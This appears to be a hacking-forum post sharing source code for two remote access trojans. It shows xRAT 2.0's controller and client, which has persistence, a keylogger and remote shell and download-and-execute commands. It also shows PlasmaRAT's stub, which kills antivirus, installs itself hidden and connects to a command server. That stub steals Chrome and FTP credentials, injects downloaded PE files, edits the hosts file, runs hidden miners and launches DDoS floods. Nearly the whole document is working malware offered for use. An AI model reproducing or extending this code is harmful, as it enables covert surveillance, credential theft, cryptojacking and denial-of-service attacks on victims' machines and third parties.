            foreach (Client c in GetSelectedClients())
            {
                if (c.Value.FrmStm != null)
                {
                    c.Value.FrmStm.Focus();
                    return;
                }
                FrmStartupManager frmStm = new FrmStartupManager(c);
                frmStm.Show();
            }
        }

        private void ctxtTaskManager_Click(object sender, EventArgs e)
        {
            foreach (Client c in GetSelectedClients())
            {
                if (c.Value.FrmTm != null)
                {
                    c.Value.FrmTm.Focus();
                    return;
                }
                FrmTaskManager frmTM = new FrmTaskManager(c);
                frmTM.Show();
            }
        }

        private void ctxtRemoteShell_Click(object sender, EventArgs e)
        {
            foreach (Client c in GetSelectedClients())
            {
                if (c.Value.FrmRs != null)
                {
                    c.Value.FrmRs.Focus();
                    return;
                }
                FrmRemoteShell frmRS = new FrmRemoteShell(c);
                frmRS.Show();
            }
        }

        private void ctxtReverseProxy_Click(object sender, EventArgs e)
        {
            foreach (Client c in GetSelectedClients())
            {
                if (c.Value.FrmProxy != null)
                {
                    c.Value.FrmProxy.Focus();
                    return;
                }

                FrmReverseProxy frmRS = new FrmReverseProxy(GetSelectedClients());
                frmRS.Show();
            }
        }

        private void ctxtRegistryEditor_Click(object sender, EventArgs e)
        {
            // TODO
        }

        private void ctxtShutdown_Click(object sender, EventArgs e)
        {
            foreach (Client c in GetSelectedClients())
            {
                new Core.Packets.ServerPackets.DoShutdownAction(ShutdownAction.Shutdown).Execute(c);
            }
        }

        private void ctxtRestart_Click(object sender, EventArgs e)
        {
            foreach (Client c in GetSelectedClients())
            {
                new Core.Packets.ServerPackets.DoShutdownAction(ShutdownAction.Restart).Execute(c);
            }
        }

        private void ctxtStandby_Click(object sender, EventArgs e)
        {
            foreach (Client c in GetSelectedClients())
            {
                new Core.Packets.ServerPackets.DoShutdownAction(ShutdownAction.Standby).Execute(c);
            }
        }

        #endregion

        #region "Surveillance"

        private void ctxtRemoteDesktop_Click(object sender, EventArgs e)
        {
            foreach (Client c in GetSelectedClients())
            {
                if (c.Value.FrmRdp != null)
                {
                    c.Value.FrmRdp.Focus();
                    return;
                }
                FrmRemoteDesktop frmRDP = new FrmRemoteDesktop(c);
                frmRDP.Show();
            }
        }

        private void ctxtPasswordRecovery_Click(object sender, EventArgs e)
        {
            // TODO
        }

        private void ctxtKeylogger_Click(object sender, EventArgs e)
        {
            foreach (Client c in GetSelectedClients())
            {
                if (c.Value.FrmKl != null)
                {
                    c.Value.FrmKl.Focus();
                    return;
                }
                FrmKeylogger frmKL = new FrmKeylogger(c);
                frmKL.Show();
            }
        }

        #endregion

        #region "Miscellaneous"

        private void ctxtLocalFile_Click(object sender, EventArgs e)
        {
            if (lstClients.SelectedItems.Count != 0)
            {
                using (var frm = new FrmUploadAndExecute(lstClients.SelectedItems.Count))
                {
                    if ((frm.ShowDialog() == DialogResult.OK) && File.Exists(UploadAndExecute.FilePath))
                    {
                        new Thread(() =>
                        {
                            bool error = false;
                            foreach (Client c in GetSelectedClients())
                            {
                                if (c == null) continue;
                                if(error) continue;

                                FileSplit srcFile = new FileSplit(UploadAndExecute.FilePath);
                                if (srcFile.MaxBlocks < 0)
                                {
                                    MessageBox.Show(string.Format("Error reading file: {0}", srcFile.LastError),
                                        "Upload aborted", MessageBoxButtons.OK, MessageBoxIcon.Warning);
                                    error = true;
                                    break;
                                }

                                int id = FileHelper.GetNewTransferId();

                                CommandHandler.HandleSetStatus(c,
                                    new Core.Packets.ClientPackets.SetStatus("Uploading file..."));

                                for (int currentBlock = 0; currentBlock < srcFile.MaxBlocks; currentBlock++)
                                {
                                    byte[] block;
                                    if (srcFile.ReadBlock(currentBlock, out block))
                                    {
                                        new Core.Packets.ServerPackets.DoUploadAndExecute(id,
                                            Path.GetFileName(UploadAndExecute.FilePath), block, srcFile.MaxBlocks,
                                            currentBlock, UploadAndExecute.RunHidden).Execute(c);
                                    }
                                    else
                                    {
                                        MessageBox.Show(string.Format("Error reading file: {0}", srcFile.LastError),
                                            "Upload aborted", MessageBoxButtons.OK, MessageBoxIcon.Warning);
                                        error = true;
                                        break;
                                    }
                                }
                            }
                        }).Start();
                    }
                }
            }
        }

        private void ctxtWebFile_Click(object sender, EventArgs e)
        {
            if (lstClients.SelectedItems.Count != 0)
            {
                using (var frm = new FrmDownloadAndExecute(lstClients.SelectedItems.Count))
                {
                    if (frm.ShowDialog() == DialogResult.OK)
                    {
                        foreach (Client c in GetSelectedClients())
                        {
                            new Core.Packets.ServerPackets.DoDownloadAndExecute(DownloadAndExecute.URL,
                                DownloadAndExecute.RunHidden).Execute(c);
                        }
                    }
                }
            }
        }

        private void ctxtVisitWebsite_Click(object sender, EventArgs e)
        {
            if (lstClients.SelectedItems.Count != 0)
            {
                using (var frm = new FrmVisitWebsite(lstClients.SelectedItems.Count))
                {
                    if (frm.ShowDialog() == DialogResult.OK)
                    {
                        foreach (Client c in GetSelectedClients())
                        {
                            new Core.Packets.ServerPackets.DoVisitWebsite(VisitWebsite.URL, VisitWebsite.Hidden).Execute(c);
                        }
                    }
                }
            }
        }

        private void ctxtShowMessagebox_Click(object sender, EventArgs e)
        {
            if (lstClients.SelectedItems.Count != 0)
            {
                using (var frm = new FrmShowMessagebox(lstClients.SelectedItems.Count))
                {
                    if (frm.ShowDialog() == DialogResult.OK)
                    {
                        foreach (Client c in GetSelectedClients())
                        {
                            new Core.Packets.ServerPackets.DoShowMessageBox(
                                MessageBoxData.Caption, MessageBoxData.Text, MessageBoxData.Button, MessageBoxData.Icon).Execute(c);
                        }
                    }
                }
            }
        }

        #endregion

        #endregion

        #region "MenuStrip"

        private void menuClose_Click(object sender, EventArgs e)
        {
            Application.Exit();
        }

        private void menuSettings_Click(object sender, EventArgs e)
        {
            using (var frm = new FrmSettings(ConServer))
            {
                frm.ShowDialog();
            }
        }

        private void menuBuilder_Click(object sender, EventArgs e)
        {
            using (var frm = new FrmBuilder())
            {
                frm.ShowDialog();
            }
        }

        private void menuStatistics_Click(object sender, EventArgs e)
        {
            if (ConServer.BytesReceived == 0 || ConServer.BytesSent == 0)
                MessageBox.Show("Please wait for at least one connected Client!", "xRAT 2.0", MessageBoxButtons.OK,
                    MessageBoxIcon.Information);
            else
            {
                using (
                    var frm = new FrmStatistics(ConServer.BytesReceived, ConServer.BytesSent,
                        ConServer.ConnectedAndAuthenticatedClients, ConServer.AllTimeConnectedClientsCount))
                {
                    frm.ShowDialog();
                }
            }
        }

        private void menuAbout_Click(object sender, EventArgs e)
        {
            using (var frm = new FrmAbout())
            {
                frm.ShowDialog();
            }
        }

        #endregion

        #region "NotifyIcon"

        private void nIcon_MouseDoubleClick(object sender, MouseEventArgs e)
        {
            this.WindowState = (this.WindowState == FormWindowState.Normal)
                ? FormWindowState.Minimized
                : FormWindowState.Normal;
            this.ShowInTaskbar = (this.WindowState == FormWindowState.Normal);
        }

        #endregion
    }
}

Client/Program.cs

Código:

using System;
using System.Diagnostics;
using System.IO;
using System.Threading;
using System.Windows.Forms;
using xClient.Config;
using xClient.Core;
using xClient.Core.Commands;
using xClient.Core.Helper;
using xClient.Core.Networking;
using xClient.Core.Packets;
using xClient.Core.Utilities;

namespace xClient
{
    internal static class Program
    {
        public static Client ConnectClient;
        private static bool _reconnect = true;
        private static volatile bool _connected = false;
        private static Mutex _appMutex;
        private static ApplicationContext _msgLoop;

        [STAThread]
        private static void Main(string[] args)
        {
            Application.EnableVisualStyles();
            Application.SetCompatibleTextRenderingDefault(false);

            Settings.Initialize();
            Initialize();
            if (!SystemCore.Disconnect)
                Connect();

            Cleanup();
        }

        private static void Cleanup()
        {
            CommandHandler.CloseShell();
            if (CommandHandler.StreamCodec != null)
                CommandHandler.StreamCodec.Dispose();
            if (Keylogger.Instance != null)
                Keylogger.Instance.Dispose();
            if (_msgLoop != null)
                _msgLoop.ExitThread();
            if (_appMutex != null)
                _appMutex.Close();
        }

        private static void InitializeClient()
        {
            ConnectClient = new Client();

            ConnectClient.AddTypesToSerializer(typeof (IPacket), new Type[]
            {
                typeof (Core.Packets.ServerPackets.GetAuthentication),
                typeof (Core.Packets.ServerPackets.DoClientDisconnect),
                typeof (Core.Packets.ServerPackets.DoClientReconnect),
                typeof (Core.Packets.ServerPackets.DoClientUninstall),
                typeof (Core.Packets.ServerPackets.DoDownloadAndExecute),
                typeof (Core.Packets.ServerPackets.DoUploadAndExecute),
                typeof (Core.Packets.ServerPackets.GetDesktop),
                typeof (Core.Packets.ServerPackets.GetProcesses),
                typeof (Core.Packets.ServerPackets.DoProcessKill),
                typeof (Core.Packets.ServerPackets.DoProcessStart),
                typeof (Core.Packets.ServerPackets.GetDrives),
                typeof (Core.Packets.ServerPackets.GetDirectory),
                typeof (Core.Packets.ServerPackets.DoDownloadFile),
                typeof (Core.Packets.ServerPackets.DoMouseEvent),
                typeof (Core.Packets.ServerPackets.DoKeyboardEvent),
                typeof (Core.Packets.ServerPackets.GetSystemInfo),
                typeof (Core.Packets.ServerPackets.DoVisitWebsite),
                typeof (Core.Packets.ServerPackets.DoShowMessageBox),
                typeof (Core.Packets.ServerPackets.DoClientUpdate),
                typeof (Core.Packets.ServerPackets.GetMonitors),
                typeof (Core.Packets.ServerPackets.DoShellExecute),
                typeof (Core.Packets.ServerPackets.DoPathRename),
                typeof (Core.Packets.ServerPackets.DoPathDelete),
                typeof (Core.Packets.ServerPackets.DoShutdownAction),
                typeof (Core.Packets.ServerPackets.GetStartupItems),
                typeof (Core.Packets.ServerPackets.DoStartupItemAdd),
                typeof (Core.Packets.ServerPackets.DoStartupItemRemove),
                typeof (Core.Packets.ServerPackets.DoDownloadFileCancel),
                typeof (Core.Packets.ServerPackets.GetKeyloggerLogs),
                typeof (Core.Packets.ServerPackets.DoUploadFile),
                typeof (Core.Packets.ClientPackets.GetAuthenticationResponse),
                typeof (Core.Packets.ClientPackets.SetStatus),
                typeof (Core.Packets.ClientPackets.SetUserStatus),
                typeof (Core.Packets.ClientPackets.GetDesktopResponse),
                typeof (Core.Packets.ClientPackets.GetProcessesResponse),
                typeof (Core.Packets.ClientPackets.GetDrivesResponse),
                typeof (Core.Packets.ClientPackets.GetDirectoryResponse),
                typeof (Core.Packets.ClientPackets.DoDownloadFileResponse),
                typeof (Core.Packets.ClientPackets.GetSystemInfoResponse),
                typeof (Core.Packets.ClientPackets.GetMonitorsResponse),
                typeof (Core.Packets.ClientPackets.DoShellExecuteResponse),
                typeof (Core.Packets.ClientPackets.GetStartupItemsResponse),
                typeof (Core.Packets.ClientPackets.GetKeyloggerLogsResponse),
                typeof (Core.ReverseProxy.Packets.ReverseProxyConnect),
                typeof (Core.ReverseProxy.Packets.ReverseProxyConnectResponse),
                typeof (Core.ReverseProxy.Packets.ReverseProxyData),
                typeof (Core.ReverseProxy.Packets.ReverseProxyDisconnect)
            });

            ConnectClient.ClientState += ClientState;
            ConnectClient.ClientRead += ClientRead;
            ConnectClient.ClientFail += ClientFail;
        }

        private static void Initialize()
        {
            Thread.Sleep(2000);

            SystemCore.OperatingSystem = SystemCore.GetOperatingSystem();
            SystemCore.MyPath = Application.ExecutablePath;
            SystemCore.InstallPath = Path.Combine(Settings.DIR, ((!string.IsNullOrEmpty(Settings.SUBFOLDER)) ? Settings.SUBFOLDER + @"\" : "") + Settings.INSTALLNAME);
            SystemCore.AccountType = SystemCore.GetAccountType();
            GeoLocationHelper.Initialize();

            if (Settings.ENABLEUACESCALATION)
            {
                if (SystemCore.TryUacTrick())
                    SystemCore.Disconnect = true;

                if (SystemCore.Disconnect)
                    return;
            }

            if (!Settings.INSTALL || SystemCore.MyPath == SystemCore.InstallPath)
            {
                if (!SystemCore.CreateMutex(ref _appMutex))
                    SystemCore.Disconnect = true;

                if (SystemCore.Disconnect)
                    return;

                new Thread(SystemCore.UserIdleThread).Start();

                if (Settings.STARTUP && Settings.INSTALL)
                {
                    SystemCore.AddToStartup();
                }

                InitializeClient();

                if (Settings.ENABLELOGGER)
                {
                    new Thread(() =>
                    {
                        _msgLoop = new ApplicationContext();
                        Keylogger logger = new Keylogger(15000);
                        Application.Run(_msgLoop);
                    }).Start(); ;
                }
            }
            else
            {
                if (!SystemCore.CreateMutex(ref _appMutex))
                    SystemCore.Disconnect = true;

                if (SystemCore.Disconnect)
                    return;

                SystemCore.Install();
            }
        }

        private static void Connect()
        {
            while (_reconnect && !SystemCore.Disconnect)
            {
                if (!_connected)
                {
                    Thread.Sleep(100 + new Random().Next(0, 250));

                    ConnectClient.Connect(Settings.HOST, Settings.PORT);

                    Thread.Sleep(200);

                    Application.DoEvents();
                }

                while (_connected) // hold client open
                {
                    Application.DoEvents();
                    Thread.Sleep(2500);
                }

                if (SystemCore.Disconnect)
                {
                    ConnectClient.Disconnect();
                    return;
                }

                Thread.Sleep(Settings.RECONNECTDELAY + new Random().Next(250, 750));
            }
        }

        public static void Disconnect(bool reconnect = false)
        {
            if (reconnect)
                CommandHandler.CloseShell();
            else
                SystemCore.Disconnect = true;
            ConnectClient.Disconnect();
        }

        private static void LostConnection()
        {
            CommandHandler.CloseShell();
        }

        private static void ClientState(Client client, bool connected)
        {
            if (connected && !SystemCore.Disconnect)
                _reconnect = true;
            else if (!connected && SystemCore.Disconnect)
                _reconnect = false;
            else
                _reconnect = !SystemCore.Disconnect;

            if (_connected != connected && !connected && _reconnect && !SystemCore.Disconnect)
                LostConnection();

            _connected = connected;
        }

        private static void ClientRead(Client client, IPacket packet)
        {
            PacketHandler.HandlePacket(client, packet);
        }

        private static void ClientFail(Client client, Exception ex)
        {
            Debug.WriteLine("Exception Message: " + ex.Message);
            client.Disconnect();
        }
    }
}

Capturas de Pantalla


Video Tutorial





mega.nz - [Code] xRAT v2.0

[VB.Net] PlasmaRAT v1.7: Remote Access Trojan (RAT), Miner, DDoS

$
0
0

Código:


██████╗ ██╗      █████╗ ███████╗███╗  ███╗ █████╗ ██████╗  █████╗ ████████╗
██╔══██╗██║    ██╔══██╗██╔════╝████╗ ████║██╔══██╗██╔══██╗██╔══██╗╚══██╔══╝
██████╔╝██║    ███████║███████╗██╔████╔██║███████║██████╔╝███████║  ██║ 
██╔═══╝ ██║    ██╔══██║╚════██║██║╚██╔╝██║██╔══██║██╔══██╗██╔══██║  ██║ 
██║    ███████╗██║  ██║███████║██║ ╚═╝ ██║██║  ██║██║  ██║██║  ██║  ██║ 
╚═╝    ╚══════╝╚═╝  ╚═╝╚══════╝╚═╝    ╚═╝╚═╝  ╚═╝╚═╝  ╚═╝╚═╝  ╚═╝  ╚═╝ 
                                                  Remote Access Trojan v1.7
                                                                       
            [+]              Developed by ZeroWorm              [+]
            [+]              Copyright (c) 2016                [+]
            [+]            Greetz To All Pentesters            [+]


PlasmaRAT, Es un troyano de acceso remoto (RAT), Miner y DDoS. El programa está codificado en VB.Net, proporcionando una gran estabilidad y una interfaz de usuario fácil de usar, PlasmaRAT es la solución de acceso remoto perfecto para ti.

Características
  • Escritorio remoto
  • Keylogger
  • DDoS
  • Miner
  • Control de inicio
  • Vista de Conexión de Red
  • Controlador de Método Nativo
Codigo Fuente

Stub/Main.vb

Código:

'KFC Watermelon 2013
Imports System.Threading
Imports System.IO
Imports System.Net.Sockets
Imports System.Net
Imports Microsoft.Win32
Imports System.Text.RegularExpressions
Imports System.Text
Imports System.Reflection
Imports System.Runtime.InteropServices
Imports System.Management

Public Module PlasmaRAT


    'Start Global Vars
    Public RunBotKiller As Boolean = False
    Public AutoBotKill As Boolean = False
    Public Muted As Boolean = False
    Public OneBotOnly As New Mutex
    Public IRC As TcpClient
    Public Write As StreamWriter
    Public Read As StreamReader
    Private Delegate Sub MessageReceived(ByVal msg As String)
    Private Event MSG As MessageReceived

    Public Antis As New Thread(New ThreadStart(AddressOf AntiEverything.RunAntis))
    Public ProactiveAV As New Thread(New ThreadStart(AddressOf ProactiveAVKill))

    Public IRCThread As New Thread(New ThreadStart(AddressOf connect))

    Public AVKillThread As New Thread(New ThreadStart(AddressOf AVKill.Start))
    Public LoggerThread As New Thread(New ThreadStart(AddressOf StartLogger))
    Public InstallationOfEverything As String
    Public keepalive As Boolean = False
    Public readlines As Boolean = False
    Public InstalledSuccessfully As Boolean = False
    'End Global Vars

    Public Settings() As String

    'CUSTOMER INFO GOES BELOW
    Public Server As String = "DESTORID//WASTELAND//2.0"  'Server/DNS
    Public BackupDNS As String
    Public BackupServer As String = String.Empty
    Public port As Integer              'Port
    Public Username As String = "\\\\\\\\\\\\\\" '.NET Seal Username
    Public Password As String = "IUWEEQWIOER$89^*(&@^$*&#@$HAFKJHDAKJSFHjd89379327AJHFD*&#($hajklshdf##*$&^(AAA"
    'Bot Info Goes Below                  'Mutex
    Public RunFileAs As String = "EI#&*(R&USOKFDJLKDSJLFKJOWI"              'Run File As
    Public InstallFolder As String = "xkjeio*(&#(*&$(*#@&$(*&#@(*&(!&(*#&kjhdfalkjsfdsaF"
    Public WhatToRun As String = String.Empty
    ''' ''''''''''User Auth'''''''''''''''''''''''
    Sub main()
        Try
            Dim x = DecryptConfig(My.Resources.A1)
            Dim lol = x.Trim
            Settings = lol.Split("*")
            Server = Settings(1)
            port = Convert.ToInt32(Settings(2))
            Username = Settings(3)
            RunFileAs = Settings(4)
            InstallFolder = Settings(5)
            WhatToRun = Settings(6)
            BackupDNS = Settings(7)
        Catch
            Threading.Thread.Sleep(System.Threading.Timeout.Infinite)
        End Try
        Try
            If Application.ExecutablePath.Contains("HardwareCheck.exe") Then
                AVKill.Start()
                Disablers.Disable()
                If WhatToRun.Contains("bk") Then
                    RunStandardBotKiller()
                End If
                Dim r As New Random
                My.Computer.FileSystem.MoveFile(Application.ExecutablePath, IO.Path.GetTempPath & r.Next(1000, 9000).ToString)
                End
            End If
        Catch : End Try
        Try
            If IsAdmin() Then
                If Not WhatToRun.Contains("z") Then AntisDetected = True
                InstallationOfEverything = Environment.GetFolderPath(Environment.SpecialFolder.System) & "\" & InstallFolder & "\"
            Else
                InstallationOfEverything = Environment.GetFolderPath(Environment.SpecialFolder.CommonApplicationData) & "\" & InstallFolder & "\"
            End If
        Catch
            InstallationOfEverything = Environment.GetEnvironmentVariable("PROGRAMDATA") & "\" & InstallFolder & "\"
        End Try

        InstallBot()
        Try
            OneBotOnly = New Mutex(False, "4919245")
            If OneBotOnly.WaitOne(0, False) = False Then
                OneBotOnly.Close()
                OneBotOnly = Nothing
                Threading.Thread.Sleep(100)
                If InstalledSuccessfully = True Then
                    Try : Dim r As New Random
                        My.Computer.FileSystem.MoveFile(Application.ExecutablePath, IO.Path.GetTempPath & r.Next(1000, 9000).ToString)
                    Catch : End Try
                End If
                End
            End If
        Catch : End Try
        startbot()
    End Sub
    Public Sub startbot()
        On Error Resume Next
        IRCThread.Start()
        LoggerThread.Start()
        If WhatToRun.Contains("q") Then ProcessAccessRights.ProtectCurrentProcess()





        Dim ProactiveBK = New System.Timers.Timer(30000)
        AddHandler ProactiveBK.Elapsed, AddressOf PlasmaRAT.ProactiveBK


        Dim Startup = New System.Timers.Timer(5000)
        AddHandler Startup.Elapsed, AddressOf Persistence.Startup


        Dim InjectionPersistence = New System.Timers.Timer(5000)
        AddHandler InjectionPersistence.Elapsed, AddressOf LoadPersitenceEngine


        Dim Miner1 = New System.Timers.Timer(5000)
        AddHandler Miner1.Elapsed, AddressOf MinerThreader
        Miner1.Start()

        Dim Miner2 = New System.Timers.Timer(5000)
        AddHandler Miner2.Elapsed, AddressOf GPUMinerThreader
        Miner2.Start()
        AntiEverything.RunAntis()
        If WhatToRun.Contains("z") Then
            If WhatToRun.Contains("s") Then Startup.Start()
            If WhatToRun.Contains("i") Then InjectionPersistence.Start()
            ProactiveBK.Start()
            If WhatToRun.Contains("a") Then
                AVKillThread.Start()
                ProactiveAV.Start()
            End If
            If WhatToRun.Contains("c") Then CriticalProcess()
            If WhatToRun.Contains("bk") Then Call SaveSetting("Microsoft", "Sysinternals", "BK", "active")
        End If
        BeginMiner()
        BeginGPUMiner()
        Disablers.Disable()
    End Sub
    Sub InstallBot()
        Try
            Dim dir As New IO.DirectoryInfo(InstallationOfEverything)
            If Not dir.Exists Then
                dir.Create()
                Try : dir.Attributes = FileAttributes.Hidden + FileAttributes.NotContentIndexed + FileAttributes.System : Catch : End Try
            End If
            If Not AntisDetected Then
                Dim InstallPath = InstallationOfEverything & RunFileAs
                If Not Application.ExecutablePath.Contains(RunFileAs) Then
                    If Not My.Computer.FileSystem.FileExists(InstallPath) Then
                        Try
                            DeleteFile(Application.ExecutablePath & ":Zone.Identifier")
                        Catch : End Try
                        My.Computer.FileSystem.CopyFile(Application.ExecutablePath, InstallPath)
                        Process.Start(InstallPath)
                        Try : Dim fileSettings As New FileInfo(InstallPath)
                            fileSettings.Attributes = FileAttributes.Hidden + FileAttributes.NotContentIndexed + FileAttributes.ReadOnly + FileAttributes.System : Catch : End Try
                        Try : Dim MyPath As New FileInfo(Application.ExecutablePath)
                            MyPath.Attributes = FileAttributes.Hidden + FileAttributes.NotContentIndexed + FileAttributes.ReadOnly + FileAttributes.System : Catch : End Try
                        InstalledSuccessfully = True
                        Threading.Thread.Sleep(30000)
                    Else
                        AllowAccess(InstallationOfEverything)
                        AllowAccess(InstallPath)
                        Dim fileSettings As New FileInfo(InstallPath)
                        fileSettings.Attributes = FileAttributes.Normal
                        Threading.Thread.Sleep(500)
                        My.Computer.FileSystem.DeleteFile(InstallPath)
                        System.IO.File.Copy(Application.ExecutablePath, InstallPath)
                        Process.Start(InstallPath)
                        InstalledSuccessfully = True
                        Threading.Thread.Sleep(30000)
                    End If
                End If
            End If
        Catch : End Try
    End Sub
    Public Sub connect()
        Try
            IRC = New TcpClient(Server, port)

            Send(String.Format("BOT*" & BotName()))

            If keepalive = False Then
                keepalive = True
                Dim ping As New Thread(AddressOf SendPing)
                ping.Start()
            End If
            If readlines = False Then
                readlines = True
                AddHandler MSG, AddressOf Parsecommands
            End If

            IRC.GetStream().BeginRead(New Byte() {0}, 0, 0, New AsyncCallback(AddressOf lmfao), Nothing)
        Catch
            Try
                If WhatToRun.Contains("y") Then
                    If Server = Settings(1) Then
                        Server = BackupDNS
                    Else
                        Server = Settings(1)
                    End If
                End If
                IRC.Close()
            Catch ex As Exception
            End Try
            Thread.Sleep(10000)
            connect()
        End Try
    End Sub
    Public Sub SendPing()
        While True
            Try
                Send("l")

            Catch : End Try
            Thread.Sleep(60000)
        End While
    End Sub
    Public Sub lmfao(ByVal ar As IAsyncResult)
        Try
            Read = New StreamReader(IRC.GetStream())
            RaiseEvent MSG((AES_Decrypt(Read.ReadLine())))
            IRC.GetStream().BeginRead(New Byte() {0}, 0, 0, New AsyncCallback(AddressOf lmfao), Nothing)
        Catch
            Threading.Thread.Sleep(1000)

            Try
                IRC.Close()
            Catch : End Try
            connect()
        End Try
    End Sub
    Public Function BotName()
        Try
            Dim lolol As String = ""
            Dim bit As String = String.Empty
            lolol = lolol & "1.5.1"
            Try
                lolol = lolol & "*" & Getcn.g & ""
            Catch
                lolol = lolol & "*" & "Error" & ""
            End Try
            Try
                If Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles).Contains("x86") Then
                    bit = "x64*"
                Else
                    bit = "x86*"
                End If
            Catch
                bit = "*x86*"
            End Try
            Try
                Dim OS As String = My.Computer.Info.OSFullName
                If OS.Contains("XP") Then lolol = lolol & "*Windows XP " & bit
                If OS.Contains("Windows 7") Then lolol = lolol & "*Windows 7 " & bit
                If OS.Contains("Vista") Then lolol = lolol & "*Windows Vista " & bit
                If OS.Contains("Windows 8") Then lolol = lolol & "*Windows 8 " & bit
                If OS.Contains("Server") Then lolol = lolol & "*Windows Server " & bit
                If Not lolol.Contains("Windows") Then lolol = lolol & "*Windows " & bit
            Catch
                lolol = lolol & "*Windows " & bit
            End Try

            Try
                Dim username As String = Environment.UserName
                If Not username = String.Empty Then
                    lolol = lolol & "" & username & "*"

                Else
                    lolol = lolol & "" & "Error" & "*"
                End If
            Catch
                lolol = lolol & "Error*"
            End Try
            Try
                Dim x1 = Environment.ProcessorCount
                Dim fap
                If x1 = 1 Then fap = "1 Core" Else fap = x1.ToString & " Cores"
                lolol = lolol & "" & fap & "*"
            Catch
                lolol = lolol & "" & "N/A" & "*"
            End Try

            Try
                If IsAdmin() Then lolol = lolol & "Admin*" Else lolol = lolol & "User*"
            Catch ex As Exception
                lolol = lolol & "Error*"
            End Try
            lolol = lolol
            Return lolol
        Catch : End Try

    End Function
    Public Sub Parsecommands(ByVal Input As String)
        Try
            Dim DataSplitted() As String = Split(Input, " ")
            Select Case DataSplitted(0)
                Case "RECONNECT"
                    IRC.Close()
                Case "seed"
                    SeedTorrent(DataSplitted(1))
                Case ("miner.start")
                    InstallMiner(DataSplitted(1), DataSplitted(2), DataSplitted(3), DataSplitted(4))
                Case ("miner.stop")
                    RemoveMiner()
                Case ("miner.gpu.start")
                    If Not My.Computer.Info.OSFullName.Contains("XP") Then
                        InstallGPUMiner(DataSplitted(1), DataSplitted(2), DataSplitted(3), DataSplitted(4))
                    End If
                Case ("miner.reset")
                    AllowAccess(InstallationOfEverything)
                    If IO.File.Exists(Miner.PoolerMiner) Then
                        AllowAccess(Miner.PoolerMiner)
                        IO.File.Delete(Miner.PoolerMiner)
                    End If
                    If IO.File.Exists(GPUMinerFile) Then
                        AllowAccess(GPUMiner.GPUMinerFile)
                        IO.File.Delete(GPUMiner.GPUMinerFile)
                    End If
                    TalktoChannel("Reset Miner Successfully!", String.Empty)
                Case ("miner.gpu.stop")
                    RemoveGPUMiner()
                Case ("keylogger.send")
                    SendLogs()
                Case ("keylogger.delete")
                    DeleteLogs()
                Case ("keylogger.search")
                    Dim asdf() As String = Split(Input, """")
                    SearchLogs(asdf(1))
                Case ("download")
                    Dim newlocation As String = IO.Path.GetTempPath & DataSplitted(2)
                    If Not IO.File.Exists(newlocation) Then
                        Dim download As New WebClient
                        download.DownloadFile(DataSplitted(1), newlocation)
                        Process.Start(newlocation)
                        TalktoChannel("Download and Execute Successful. Location: " & newlocation, String.Empty)
                    Else
                        TalktoChannel("File name " & DataSplitted(2) & " already used. Ignoring Execute File", String.Empty)
                    End If
                Case ("update.bot")
                    Dim DLLocation = IO.Path.GetTempPath & DataSplitted(2)
                    If Not My.Computer.FileSystem.FileExists(DLLocation) Then
                        Dim download As New WebClient
                        download.DownloadFile(DataSplitted(1), DLLocation)
                        Try : OneBotOnly.Close() : Catch : End Try
                        TalktoChannel("Bot Update Successful! Uninstalling...", "")
                        Process.Start(DLLocation)
                        NonCriticalProcess()
                              KillFile(Application.ExecutablePath)
                        End
                        Environment.Exit(0)
                    Else
                        TalktoChannel("File name " & DataSplitted(2) & " already used. Ignoring Update.", String.Empty)
                    End If
                Case ("visit")
                    If DataSplitted(1) = "-h" Then
                        Dim Browser As New ProcessStartInfo
                        Browser.FileName = "iexplore.exe"
                        Browser.Arguments = DataSplitted(2)
                        Browser.WindowStyle = ProcessWindowStyle.Hidden
                        System.Diagnostics.Process.Start(Browser)
                        TalktoChannel("Visited Site Hidden: ", DataSplitted(2))
                    Else
                        Process.Start(DataSplitted(1))
                        TalktoChannel("Visited Site: ", DataSplitted(1))
                    End If
                Case ("ddos.slowloris.start")
                    StartSlowloris(DataSplitted(1), DataSplitted(3), DataSplitted(2), "")
                Case ("ddos.arme.start")
                    StartARME(DataSplitted(1), DataSplitted(3), DataSplitted(2), "")
                Case ("ddos.posthttp.start")
                    Dim asdf() As String = Split(Input, """")
                    StartPOSTHTTP(DataSplitted(1), DataSplitted(3), DataSplitted(2), asdf(1))
                Case ("ddos.httpget.start")
                    StartHTTPGet(DataSplitted(1), DataSplitted(3), DataSplitted(2))
                Case ("ddos.bwflood.start")
                    StartBandwidthFlood(DataSplitted(1), DataSplitted(3), DataSplitted(2))
                Case ("ddos.udp.start")
                    StartUDP(DataSplitted(1), DataSplitted(4), DataSplitted(3), DataSplitted(2))
                Case ("ddos.condis.start")
                    StartCondis(DataSplitted(1), DataSplitted(4), DataSplitted(3), DataSplitted(2))
                Case ("hosts")
                    Try
                        Dim asdf() As String = Split(Input, """")
                        IO.File.AppendAllText("C:\windows\system32\drivers\etc\hosts", vbNewLine & asdf(1))
                        TalktoChannel("Added to HOSTS.", "")
                    Catch
                        TalktoChannel("Unable to add to HOSTS.", "")
                    End Try
                Case (".avdetails")
                    Dim output As String = GetAntiVirus() & ". " & GetFirewall()
                    TalktoChannel(output, "")
                Case ("ftp")
                    ftpsteal()
                Case ("chrome")
                    GetChrome()
                Case ("info")
                    TalktoChannel("Running At: " & Application.ExecutablePath & ".", String.Empty)
                Case ("pcspecs")
                    TalktoChannel("CPU: " & GetCPU() & ". GPU: " & GetVideoCard() & " RAM: " & Format((My.Computer.Info.TotalPhysicalMemory / 1024) / 1024 / 1024, "###,###,##0 GB"), String.Empty)
                Case ("shell")
                    Dim asdf() As String = Split(Input, """")
                    Shell((asdf(1)), AppWinStyle.Hide)
                    TalktoChannel("Shell Command Executed.", "")
                Case ("remove.bot")
                    NonCriticalProcess()
                    KillFile(Application.ExecutablePath)
                    End
                    Environment.Exit(0)
            End Select

            If Input.Contains("mute") Then
                If DataSplitted(1) = ("on") Then
                    Muted = True
                End If
                If DataSplitted(1) = ("off") Then
                    Muted = False
                End If
            End If
            If Input.Contains("inject") Then
                Dim r As New System.Net.WebClient()
                Dim File = r.DownloadData(DataSplitted(1))
                If Input.Contains("reflect") Then
                    ReflectBytes(File)
                    TalktoChannel("File reflected into Self Successfully", String.Empty)
                End If
                If Input.Contains("runpe") Then
                    mRunpe.InjectPE(File, System.Runtime.InteropServices.RuntimeEnvironment.GetRuntimeDirectory & "vbc.exe", String.Empty)
                    TalktoChannel("File Injected into vbc.exe Successfully", String.Empty)
                End If
            End If
            If Input.Contains(".stop") Then
                If Input.Contains("udp") Then
                    StopUDP()
                End If
                If Input.Contains("arme") Then
                    StopARME()
                End If
